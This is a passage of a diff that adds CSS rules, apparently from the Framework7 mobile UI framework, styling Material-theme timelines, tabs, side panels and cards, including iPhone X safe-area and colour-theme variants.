.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(12px + constant(safe-area-inset-left)); + padding-left: calc(12px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .timeline-item-inner { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .timeline-item-time { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .timeline-item-date, +.md .color-theme-red .timeline-year-title, +.md .color-theme-red .timeline-month-title { + background: #f44336; +} +.md .color-theme-green .timeline-item-date, +.md .color-theme-green .timeline-year-title, +.md .color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .color-theme-blue .timeline-item-date, +.md .color-theme-blue .timeline-year-title, +.md .color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .color-theme-pink .timeline-item-date, +.md .color-theme-pink .timeline-year-title, +.md .color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .color-theme-yellow .timeline-item-date, +.md .color-theme-yellow .timeline-year-title, +.md .color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .color-theme-orange .timeline-item-date, +.md .color-theme-orange .timeline-year-title, +.md .color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .color-theme-gray .timeline-item-date, +.md .color-theme-gray .timeline-year-title, +.md .color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .color-theme-white .timeline-item-date, +.md .color-theme-white .timeline-year-title, +.md .color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .color-theme-black .timeline-item-date, +.md .color-theme-black .timeline-year-title, +.md .color-theme-black .timeline-month-title { + background: #000000; +} +.md .timeline.color-theme-red .timeline-item-date, +.md .timeline.color-theme-red .timeline-year-title, +.md .timeline.color-theme-red .timeline-month-title { + background: #f44336; +} +.md .timeline.color-theme-green .timeline-item-date, +.md .timeline.color-theme-green .timeline-year-title, +.md .timeline.color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .timeline.color-theme-blue .timeline-item-date, +.md .timeline.color-theme-blue .timeline-year-title, +.md .timeline.color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .timeline.color-theme-pink .timeline-item-date, +.md .timeline.color-theme-pink .timeline-year-title, +.md .timeline.color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .timeline.color-theme-yellow .timeline-item-date, +.md .timeline.color-theme-yellow .timeline-year-title, +.md .timeline.color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .timeline.color-theme-orange .timeline-item-date, +.md .timeline.color-theme-orange .timeline-year-title, +.md .timeline.color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .timeline.color-theme-gray .timeline-item-date, +.md .timeline.color-theme-gray .timeline-year-title, +.md .timeline.color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .timeline.color-theme-white .timeline-item-date, +.md .timeline.color-theme-white .timeline-year-title, +.md .timeline.color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .timeline.color-theme-black .timeline-item-date, +.md .timeline.color-theme-black .timeline-year-title, +.md .timeline.color-theme-black .timeline-month-title { + background: #000000; +} +/* === Tabs === */ +.tabs .tab { + display: none; +} +.tabs .tab-active { + display: block; +} +.tabs-animated-wrap { + position: relative; + width: 100%; + overflow: hidden; + height: 100%; +} +.tabs-animated-wrap > .tabs { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + height: 100%; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-animated-wrap > .tabs > .tab { + width: 100%; + display: block; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.tabs-animated-wrap.not-animated > .tabs { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-swipeable-wrap { + height: 100%; +} +.tabs-swipeable-wrap > .tabs { + height: 100%; +} +.tabs-swipeable-wrap > .tabs > .tab { + display: block; +} +.page > .tabs { + height: 100%; +} +/* === Panels === */ +.panel-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + opacity: 0; + z-index: 5999; + display: none; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.panel-backdrop.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel { + z-index: 1000; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + overflow: auto; + -webkit-overflow-scrolling: touch; + top: 0; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + width: 260px; + background-color: #fff; +} +.panel.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel.panel-reveal.not-animated ~ .views, +.panel.panel-reveal.not-animated ~ .view { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel-cover { + z-index: 6000; +} +.panel-left { + left: 0; +} +.panel-left.panel-cover { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.panel-right { + right: 0; +} +.panel-right.panel-cover { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.panel-visible-by-breakpoint { + display: block; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; +} +.panel-visible-by-breakpoint.panel-cover { + z-index: 5900; +} +html.with-panel .framework7-root > .views .page-content, +html.with-panel .framework7-root > .view .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +html.with-panel-left-cover .panel-backdrop, +html.with-panel-right-cover .panel-backdrop { + display: block; + opacity: 1; +} +html.with-panel-left-reveal .panel-backdrop, +html.with-panel-right-reveal .panel-backdrop, +html.with-panel-transitioning .panel-backdrop { + background: rgba(0, 0, 0, 0); + display: block; + opacity: 0; +} +html.with-panel-left-reveal .views, +html.with-panel-left-reveal .framework7-root > .view, +html.with-panel-left-reveal .panel-backdrop { + -webkit-transform: translate3d(260px, 0, 0); + transform: translate3d(260px, 0, 0); +} +html.with-panel-right-reveal .views, +html.with-panel-right-reveal .framework7-root > .view, +html.with-panel-right-reveal .panel-backdrop { + -webkit-transform: translate3d(-260px, 0, 0); + transform: translate3d(-260px, 0, 0); +} +html.with-panel-left-cover .panel-left { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-panel-right-cover .panel-right { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-statusbar.device-ios .panel, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel { + top: 20px; + height: calc(100% - 20px); +} +html.with-statusbar.device-android .panel, +html.with-statusbar.md:not(.device-ios):not(.device-android) .panel { + top: 24px; + height: calc(100% - 24px); +} +html.with-statusbar.device-iphone-x .panel { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); +} +.md .panel-backdrop { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + background: rgba(0, 0, 0, 0.2); +} +.md .panel { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .panel-visible { + display: block; +} +.md .panel-visible-by-breakpoint { + -webkit-box-shadow: none; + box-shadow: none; +} +.md.with-panel-left-cover .panel-cover, +.md.with-panel-right-cover .panel-cover { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-transitioning .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view, +.md.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: transform, box-shadow; + transition-property: transform, box-shadow, -webkit-transform, -webkit-box-shadow; +} +/* === Card === */ +.cards-list > ul:before, +.card .list > ul:before { + display: none !important; +} +.cards-list > ul:after, +.card .list > ul:after { + display: none !important; +} +.card { + background: #fff; + position: relative; + border-radius: 4px; + font-size: 14px; +} +.card .list, +.card .block { + margin: 0; +} +.row:not(.no-gap) .col > .card { + margin-left: 0; + margin-right: 0; +} +.card-content { + position: relative; +} +.card-content-padding { + position: relative; +} +.card-content-padding > p:first-child { + margin-top: 0; +} +.card-content-padding > p:last-child { + margin-bottom: 0; +} +.card-header, +.card-footer { + min-height: 44px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.card-header[valign="top"], +.card-footer[valign="top"] { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.card-header[valign="bottom"], +.card-footer[valign="bottom"] { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.card-header a.link, +.card-footer a.link { + position: relative; +} +.card-header a.link i.icon, +.card-footer a.link i.icon { + display: block; +} +.card-header a.icon-only, +.card-footer a.icon-only { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; +} +.card-header { + border-radius: 4px 4px 0 0; +} +.card-header:after { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .card-header:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-header:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-header.no-hairline:after { + display: none !important; +} +.card-footer { + border-radius: 0 0 4px 4px; +} +.card-footer:before { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +html.device-pixel-ratio-2 .card-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-footer.no-hairline:before { + display: none !important; +} +.md .cards-list ul, +.md .card .list ul { + background: none; +} +.md .card { + margin: 8px; + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); +} +.md .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .card-header a.link, +.md .card-footer a.link { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +input[type="submit"].md .card-header a.link, +input[type="submit"].md .card-footer a.link, +input[type="button"].md .card-header a.link, +input[type="button"].md .card-footer a.link { + width: 100%; +} +.md .card-header a.link.active-state, +.md .card-footer a.link.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .card-header a.icon-only, +.md .card-footer a.icon-only { + min-width: 48px; +} +.md .page-content > .card:last-child { + margin-bottom: 32px; +} +.md .card-content-padding { + padding: 16px; +} +.md .card-content-padding > .list, +.md .card-content-padding > .block { + margin: -16px; +} +.md .card-header, +.md .card-footer { + min-height: 48px; + padding: 4px 16px; +} +.md .card-header { + font-size: 16px; +} +.md .card-footer { + color: #757575; +} +.md .theme-dark .card { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .card-outline { + border-color: #282829; +} +.md .theme-dark .card-header:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .card-footer { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .card-footer:before { + background-color: rgba(255, 255, 255, 0.08); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .color-theme-red .card-header a.link, +.md .color-theme-red .card-footer a.link, +.md .card-header.color-theme-red a.link, +.md .card-footer.color-theme-red a.link { + color: #f44336; +} +.md .color-theme-green .card-header a.link, +.md .color-theme-green .card-footer a.link, +.md .card-header.color-theme-green a.link, +.md .card-footer.color-theme-green a.link { + color: #4caf50; +} +.md .color-theme-blue .card-header a.link, +.md .color-theme-blue .card-footer a.link, +.md .card-header.color-theme-blue a.link, +.md .card-footer.color-theme-blue a.link { + color: #2196f3; +} +.md .color-theme-pink .card-header a.link, +.md .color-theme-pink .card-footer a.link, +.md .card-header.color-theme-pink a.link, +.md .card-footer.color-theme-pink a.link { + color: #e91e63; +} +.md .color-theme-yellow .card-header a.link, +.md .color-theme-yellow .card-footer a.link, +.md .card-header.color-theme-yellow a.link, +.md .card-footer.color-theme-yellow a.link { + color: #ffeb3b; +} +.md .color-theme-orange .card-header a.link, +.md .color-theme-orange .card-footer a.link, +.md .card-header.color-theme-orange a.link, +.md .card-footer.color-theme-orange a.link { + color: #ff9800; +} +.md .color-theme-gray .card-header a.link, +.md .color-theme-gray .card-footer a.link, +.md .card-header.color-theme-gray a.link, +.md .card-footer.color-theme-gray a.link { + color: #9e9e9e; +} +.md .color-theme-white .card-header a.link, +.md .color-theme-white .card-footer a.link, +.md .card-header.color-theme-white a.link, +.md .card-footer.color-theme-white a.link { + color: #ffffff; +} +.md .color-theme-black .card-header a.link, +.md .color-theme-black .card-footer a.link, +.md .card-header.color-theme-black a.link, +.md 